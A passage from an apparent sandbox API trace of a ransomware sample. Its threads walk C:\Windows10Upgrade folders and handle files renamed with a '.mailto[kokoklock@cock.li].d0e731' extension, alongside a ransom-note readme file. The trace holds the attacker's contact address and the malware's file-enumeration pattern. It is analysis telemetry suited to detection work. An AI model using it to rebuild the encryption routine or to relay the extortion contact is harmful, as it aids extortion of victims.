cAlternateFileName="WINREB~2.D0E")) returned 0 [0163.782] FindClose (in: hFindFile=0x2f80360 | out: hFindFile=0x2f80360) returned 1 [0163.783] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f97620) returned 1 [0163.783] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f937d8) returned 1 [0163.783] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6bf58) returned 1 [0163.783] RtlExitUserThread (Status=0x0) Thread: id = 1480 os_tid = 0xdfc [0163.935] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2f80760 [0163.935] wcscpy (in: _Dest=0x2f80760, _Source="C:\\Windows10Upgrade\\2052" | out: _Dest="C:\\Windows10Upgrade\\2052") returned="C:\\Windows10Upgrade\\2052" [0163.935] wcscat (in: _Dest=0x2f80760, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\2052\\") returned="C:\\Windows10Upgrade\\2052\\" [0163.935] wcscat (in: _Dest=0x2f80760, _Source="*" | out: _Dest="C:\\Windows10Upgrade\\2052\\*") returned="C:\\Windows10Upgrade\\2052\\*" [0163.935] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f9a1c8 [0163.935] FindFirstFileW (in: lpFileName="C:\\Windows10Upgrade\\2052\\*", lpFindFileData=0x2f9a1c8 | out: lpFindFileData=0x2f9a1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea35483d, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea355be9, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xea355be9, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f80320 [0163.936] wcscmp (_String1=".", _String2=".") returned 0 [0163.936] FindNextFileW (in: hFindFile=0x2f80320, lpFindFileData=0x2f9a1c8 | out: lpFindFileData=0x2f9a1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea35483d, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea355be9, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xea355be9, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.936] wcscmp (_String1="..", _String2=".") returned 1 [0163.936] wcscmp (_String1="..", _String2="..") returned 0 [0163.936] FindNextFileW (in: hFindFile=0x2f80320, lpFindFileData=0x2f9a1c8 | out: lpFindFileData=0x2f9a1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea355be9, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea355be9, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfa216a00, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x1cec8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWINTL20.DLL", cAlternateFileName="")) returned 1 [0163.936] wcscmp (_String1="DWINTL20.DLL", _String2=".") returned 1 [0163.936] wcscmp (_String1="DWINTL20.DLL", _String2="..") returned 1 [0163.936] FindNextFileW (in: hFindFile=0x2f80320, lpFindFileData=0x2f9a1c8 | out: lpFindFileData=0x2f9a1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea355be9, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea355be9, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfa216a00, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x1cec8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWINTL20.DLL", cAlternateFileName="")) returned 0 [0163.936] FindClose (in: hFindFile=0x2f80320 | out: hFindFile=0x2f80320) returned 1 [0163.936] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9a1c8) returned 1 [0163.937] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f80760) returned 1 [0163.937] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f804a0) returned 1 [0163.937] RtlExitUserThread (Status=0x0) Thread: id = 1481 os_tid = 0xe00 [0163.938] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\bootsect.exe.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\bootsect.exe.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0163.939] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\bootsect.exe.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0163.939] CreateFileW (lpFileName="C:\\Windows10Upgrade\\bootsect.exe.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\bootsect.exe.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.939] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\bootsect.exe.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0163.939] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f82fb8) returned 1 [0163.939] RtlExitUserThread (Status=0x0) Thread: id = 1482 os_tid = 0xe04 [0163.940] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\Configuration.ini.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\configuration.ini.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0163.940] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\Configuration.ini.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0163.940] CreateFileW (lpFileName="C:\\Windows10Upgrade\\Configuration.ini.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\configuration.ini.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.940] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\Configuration.ini.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0163.940] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6aa70) returned 1 [0163.940] RtlExitUserThread (Status=0x0) Thread: id = 1483 os_tid = 0xe08 [0163.941] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2f80760 [0163.941] wcscpy (in: _Dest=0x2f80760, _Source="C:\\Windows10Upgrade\\dll1" | out: _Dest="C:\\Windows10Upgrade\\dll1") returned="C:\\Windows10Upgrade\\dll1" [0163.941] wcscat (in: _Dest=0x2f80760, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\dll1\\") returned="C:\\Windows10Upgrade\\dll1\\" [0163.941] wcscat (in: _Dest=0x2f80760, _Source="*" | out: _Dest="C:\\Windows10Upgrade\\dll1\\*") returned="C:\\Windows10Upgrade\\dll1\\*" [0163.942] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f9a1c8 [0163.942] FindFirstFileW (in: lpFileName="C:\\Windows10Upgrade\\dll1\\*", lpFindFileData=0x2f9a1c8 | out: lpFindFileData=0x2f9a1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea3757e9, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea377ed3, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xea37926f, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f80320 [0163.942] wcscmp (_String1=".", _String2=".") returned 0 [0163.942] FindNextFileW (in: hFindFile=0x2f80320, lpFindFileData=0x2f9a1c8 | out: lpFindFileData=0x2f9a1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea3757e9, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea377ed3, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xea37926f, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.942] wcscmp (_String1="..", _String2=".") returned 1 [0163.942] wcscmp (_String1="..", _String2="..") returned 0 [0163.942] FindNextFileW (in: hFindFile=0x2f80320, lpFindFileData=0x2f9a1c8 | out: lpFindFileData=0x2f9a1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea376b75, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea376b75, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfa216a00, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x204c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="cosqueryxp.dll", cAlternateFileName="COSQUE~1.DLL")) returned 1 [0163.942] wcscmp (_String1="cosqueryxp.dll", _String2=".") returned 1 [0163.942] wcscmp (_String1="cosqueryxp.dll", _String2="..") returned 1 [0163.942] FindNextFileW (in: hFindFile=0x2f80320, lpFindFileData=0x2f9a1c8 | out: lpFindFileData=0x2f9a1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea377ed3, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea377ed3, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfb529700, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x3b0c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="wdscore.dll", cAlternateFileName="")) returned 1 [0163.943] wcscmp (_String1="wdscore.dll", _String2=".") returned 1 [0163.943] wcscmp (_String1="wdscore.dll", _String2="..") returned 1 [0163.943] FindNextFileW (in: hFindFile=0x2f80320, lpFindFileData=0x2f9a1c8 | out: lpFindFileData=0x2f9a1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea37926f, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea37926f, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfb529700, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0xe9ec8, dwReserved0=0x0, dwReserved1=0x0, cFileName="webservices.dll", cAlternateFileName="WEBSER~1.DLL")) returned 1 [0163.943] wcscmp (_String1="webservices.dll", _String2=".") returned 1 [0163.943] wcscmp (_String1="webservices.dll", _String2="..") returned 1 [0163.943] FindNextFileW (in: hFindFile=0x2f80320, lpFindFileData=0x2f9a1c8 | out: lpFindFileData=0x2f9a1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea37926f, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea37926f, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfb529700, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0xe9ec8, dwReserved0=0x0, dwReserved1=0x0, cFileName="webservices.dll", cAlternateFileName="WEBSER~1.DLL")) returned 0 [0163.943] FindClose (in: hFindFile=0x2f80320 | out: hFindFile=0x2f80320) returned 1 [0163.943] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9a1c8) returned 1 [0163.943] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f80760) returned 1 [0163.943] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f80660) returned 1 [0163.943] RtlExitUserThread (Status=0x0) Thread: id = 1484 os_tid = 0xe0c [0163.947] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2f80760 [0163.947] wcscpy (in: _Dest=0x2f80760, _Source="C:\\Windows10Upgrade\\dll2" | out: _Dest="C:\\Windows10Upgrade\\dll2") returned="C:\\Windows10Upgrade\\dll2" [0163.947] wcscat (in: _Dest=0x2f80760, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\dll2\\") returned="C:\\Windows10Upgrade\\dll2\\" [0163.947] wcscat (in: _Dest=0x2f80760, _Source="*" | out: _Dest="C:\\Windows10Upgrade\\dll2\\*") returned="C:\\Windows10Upgrade\\dll2\\*" [0163.947] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f9a1c8 [0163.947] FindFirstFileW (in: lpFileName="C:\\Windows10Upgrade\\dll2\\*", lpFindFileData=0x2f9a1c8 | out: lpFindFileData=0x2f9a1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea37cd05, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea37cd05, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xea37e09b, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f80320 [0163.948] wcscmp (_String1=".", _String2=".") returned 0 [0163.948] FindNextFileW (in: hFindFile=0x2f80320, lpFindFileData=0x2f9a1c8 | out: lpFindFileData=0x2f9a1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea37cd05, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea37cd05, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xea37e09b, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.948] wcscmp (_String1="..", _String2=".") returned 1 [0163.948] wcscmp (_String1="..", _String2="..") returned 0 [0163.948] FindNextFileW (in: hFindFile=0x2f80320, lpFindFileData=0x2f9a1c8 | out: lpFindFileData=0x2f9a1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea37e09b, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea37e09b, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x626300, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0xb8400, dwReserved0=0x0, dwReserved1=0x0, cFileName="webservices.dll", cAlternateFileName="WEBSER~1.DLL")) returned 1 [0163.948] wcscmp (_String1="webservices.dll", _String2=".") returned 1 [0163.948] wcscmp (_String1="webservices.dll", _String2="..") returned 1 [0163.948] FindNextFileW (in: hFindFile=0x2f80320, lpFindFileData=0x2f9a1c8 | out: lpFindFileData=0x2f9a1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea37e09b, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea37e09b, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x626300, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0xb8400, dwReserved0=0x0, dwReserved1=0x0, cFileName="webservices.dll", cAlternateFileName="WEBSER~1.DLL")) returned 0 [0163.948] FindClose (in: hFindFile=0x2f80320 | out: hFindFile=0x2f80320) returned 1 [0163.948] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9a1c8) returned 1 [0163.948] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f80760) returned 1 [0163.948] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f803a0) returned 1 [0163.948] RtlExitUserThread (Status=0x0) Thread: id = 1485 os_tid = 0xe10 [0163.951] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\DW20.EXE.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\dw20.exe.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0163.951] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\DW20.EXE.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0163.951] CreateFileW (lpFileName="C:\\Windows10Upgrade\\DW20.EXE.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\dw20.exe.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.951] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\DW20.EXE.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0163.951] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f716c0) returned 1 [0163.951] RtlExitUserThread (Status=0x0) Thread: id = 1486 os_tid = 0xe14 [0163.952] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\DWTRIG20.EXE.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\dwtrig20.exe.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0163.953] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\DWTRIG20.EXE.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0163.953] CreateFileW (lpFileName="C:\\Windows10Upgrade\\DWTRIG20.EXE.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\dwtrig20.exe.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.953] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\DWTRIG20.EXE.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0163.953] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f833a8) returned 1 [0163.953] RtlExitUserThread (Status=0x0) Thread: id = 1487 os_tid = 0xe18 [0163.955] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\GatherOSState.EXE.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\gatherosstate.exe.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0163.958] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\GatherOSState.EXE.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0163.958] CreateFileW (lpFileName="C:\\Windows10Upgrade\\GatherOSState.EXE.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\gatherosstate.exe.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.959] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\GatherOSState.EXE.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0163.959] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f69b30) returned 1 [0163.959] RtlExitUserThread (Status=0x0) Thread: id = 1488 os_tid = 0xe1c [0163.961] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\GetCurrentRollback.EXE.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\getcurrentrollback.exe.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0163.962] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\GetCurrentRollback.EXE.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0163.962] CreateFileW (lpFileName="C:\\Windows10Upgrade\\GetCurrentRollback.EXE.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\getcurrentrollback.exe.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.962] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\GetCurrentRollback.EXE.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0163.962] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f63d48) returned 1 [0163.962] RtlExitUserThread (Status=0x0) Thread: id = 1489 os_tid = 0xe20 [0163.963] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\HttpHelper.exe.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\httphelper.exe.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0163.963] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\HttpHelper.exe.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0163.964] CreateFileW (lpFileName="C:\\Windows10Upgrade\\HttpHelper.exe.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\httphelper.exe.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.964] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\HttpHelper.exe.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0163.964] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f82a18) returned 1 [0163.964] RtlExitUserThread (Status=0x0) Thread: id = 1490 os_tid = 0xe24 [0163.965] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f874b8 [0163.965] wcscpy (in: _Dest=0x2f874b8, _Source="C:\\Windows10Upgrade\\resources" | out: _Dest="C:\\Windows10Upgrade\\resources") returned="C:\\Windows10Upgrade\\resources" [0163.965] wcscat (in: _Dest=0x2f874b8, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\") returned="C:\\Windows10Upgrade\\resources\\" [0163.966] wcscat (in: _Dest=0x2f874b8, _Source="*" | out: _Dest="C:\\Windows10Upgrade\\resources\\*") returned="C:\\Windows10Upgrade\\resources\\*" [0163.966] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f9a1c8 [0163.966] FindFirstFileW (in: lpFileName="C:\\Windows10Upgrade\\resources\\*", lpFindFileData=0x2f9a1c8 | out: lpFindFileData=0x2f9a1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea398e53, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x81454607, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x81454607, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f80320 [0163.967] wcscmp (_String1=".", _String2=".") returned 0 [0163.967] FindNextFileW (in: hFindFile=0x2f80320, lpFindFileData=0x2f9a1c8 | out: lpFindFileData=0x2f9a1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea398e53, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x81454607, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x81454607, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.967] wcscmp (_String1="..", _String2=".") returned 1 [0163.968] wcscmp (_String1="..", _String2="..") returned 0 [0163.968] FindNextFileW (in: hFindFile=0x2f80320, lpFindFileData=0x2f9a1c8 | out: lpFindFileData=0x2f9a1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea398e53, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x874265d5, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x874265d5, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64", cAlternateFileName="")) returned 1 [0163.968] wcscmp (_String1="amd64", _String2=".") returned 1 [0163.968] wcscmp (_String1="amd64", _String2="..") returned 1 [0163.968] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x48) returned 0x2f72ac8 [0163.968] wcscpy (in: _Dest=0x2f72ac8, _Source="C:\\Windows10Upgrade\\resources" | out: _Dest="C:\\Windows10Upgrade\\resources") returned="C:\\Windows10Upgrade\\resources" [0163.968] wcscat (in: _Dest=0x2f72ac8, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\") returned="C:\\Windows10Upgrade\\resources\\" [0163.968] wcscat (in: _Dest=0x2f72ac8, _Source="amd64" | out: _Dest="C:\\Windows10Upgrade\\resources\\amd64") returned="C:\\Windows10Upgrade\\resources\\amd64" [0168.151] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f72ac8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6ec [0168.151] FindNextFileW (in: hFindFile=0x2f80320, lpFindFileData=0x2f9a1c8 | out: lpFindFileData=0x2f9a1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81454607, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81454607, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x81454607, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0168.151] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0168.151] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0168.151] FindNextFileW (in: hFindFile=0x2f80320, lpFindFileData=0x2f9a1c8 | out: lpFindFileData=0x2f9a1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3a78b4, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3a78b4, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x81454607, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xc991b, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwcompatShared.txt.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="HWCOMP~1.D0E")) returned 1 [0168.151] wcscmp (_String1="hwcompatShared.txt.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.151] wcscmp (_String1="hwcompatShared.txt.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.151] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa4) returned 0x2f6e3f0 [0168.152] wcscpy (in: _Dest=0x2f6e3f0, _Source="C:\\Windows10Upgrade\\resources" | out: _Dest="C:\\Windows10Upgrade\\resources") returned="C:\\Windows10Upgrade\\resources" [0168.152] wcscat (in: _Dest=0x2f6e3f0, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\") returned="C:\\Windows10Upgrade\\resources\\" [0168.152] wcscat (in: _Dest=0x2f6e3f0, _Source="hwcompatShared.txt.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\hwcompatShared.txt.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\hwcompatShared.txt.mailto[kokoklock@cock.li].d0e731" [0168.152] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f6e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6e8 [0168.153] FindNextFileW (in: hFindFile=0x2f80320, lpFindFileData=0x2f9a1c8 | out: lpFindFileData=0x2f9a1c8*(dwFileAttributes=0x10, 